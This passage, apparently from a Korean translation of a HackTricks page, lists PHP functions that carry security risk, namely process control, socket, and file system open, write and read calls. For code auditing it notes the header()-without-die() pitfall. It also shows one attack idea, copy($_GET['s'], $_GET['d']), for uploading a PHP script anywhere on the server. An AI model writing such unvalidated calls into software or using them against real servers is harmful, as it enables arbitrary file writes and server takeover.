header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid
파일 시스템 함수
RATS에 따르면 PHP의 모든 파일 시스템 함수는 악성 코드를 실행할 수 있는 위험이 있습니다. 이 중 일부는 공격자에게는 그리 유용하지 않아 보일 수 있지만, 다른 일부는 생각보다 더 유용합니다. 예를 들어, allow_url_fopen=On으로 설정되어 있다면 URL을 파일 경로로 사용할 수 있으므로, copy($_GET['s'], $_GET['d']); 호출을 통해 PHP 스크립트를 시스템의 어느 곳이든 업로드할 수 있습니다. 또한 GET을 통해 요청을 보낼 수 있는 사이트가 취약하다면, 이러한 파일 시스템 함수를 통해 공격을 다른 호스트로 전달할 수 있습니다.
파일 시스템 핸들러 열기
fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct
파일 시스템에 쓰기 (일부는 읽기와 결합하여)
파일 시스템에 쓰기는 웹 애플리케이션의 취약점을 이용하여 파일을 생성하거나 수정하는 기술입니다. 이를 통해 공격자는 악의적인 목적을 달성하기 위해 시스템 파일에 악성 코드를 삽입할 수 있습니다.
파일 시스템에 쓰기를 수행하기 위해 다양한 방법이 있습니다. 일반적으로는 파일 업로드 기능을 악용하거나, 파일 경로 조작을 통해 쓰기 권한이 있는 디렉토리에 파일을 생성합니다. 또한, 파일을 읽는 기능을 이용하여 파일 내용을 수정하는 방법도 있습니다.
파일 시스템에 쓰기는 웹 애플리케이션의 취약점을 이용하여 악용될 수 있으므로, 개발자는 파일 업로드 및 파일 경로 검증과 같은 보안 조치를 적용해야 합니다. 또한, 서버의 파일 시스템 권한 설정을 강화하여 공격자가 파일 시스템에 쓰기를 할 수 없도록 해야 합니다.
chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng // 2nd parameter is a path.
imagewbmp // 2nd parameter is a path.
image2wbmp // 2nd parameter is a path.
imagejpeg // 2nd parameter is a path.
imagexbm // 2nd parameter is a path.
imagegif // 2nd parameter is a path.
imagegd // 2nd parameter is a path.
imagegd2 // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir
파일 시스템에서 읽기
파일 시스템에서 파일을 읽는 것은 PHP에서 자주 사용되는 기능입니다. 이 기능은 file_get_contents()
함수를 사용하여 구현될 수 있습니다. 이 함수는 지정된 파일의 내용을 문자열로 반환합니다. 파일 경로를 인자로 전달하여 사용할 수 있습니다.
$file_contents = file_get_contents('/path/to/file');
이를 통해 파일 시스템에서 파일을 읽을 수 있으며, 이를 활용하여 다양한 작업을 수행할 수 있습니다.
file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm을 팔로우하세요.
- Hacking 트릭을 공유하려면 PR을 HackTricks 및 HackTricks Cloud github 저장소에 제출하세요.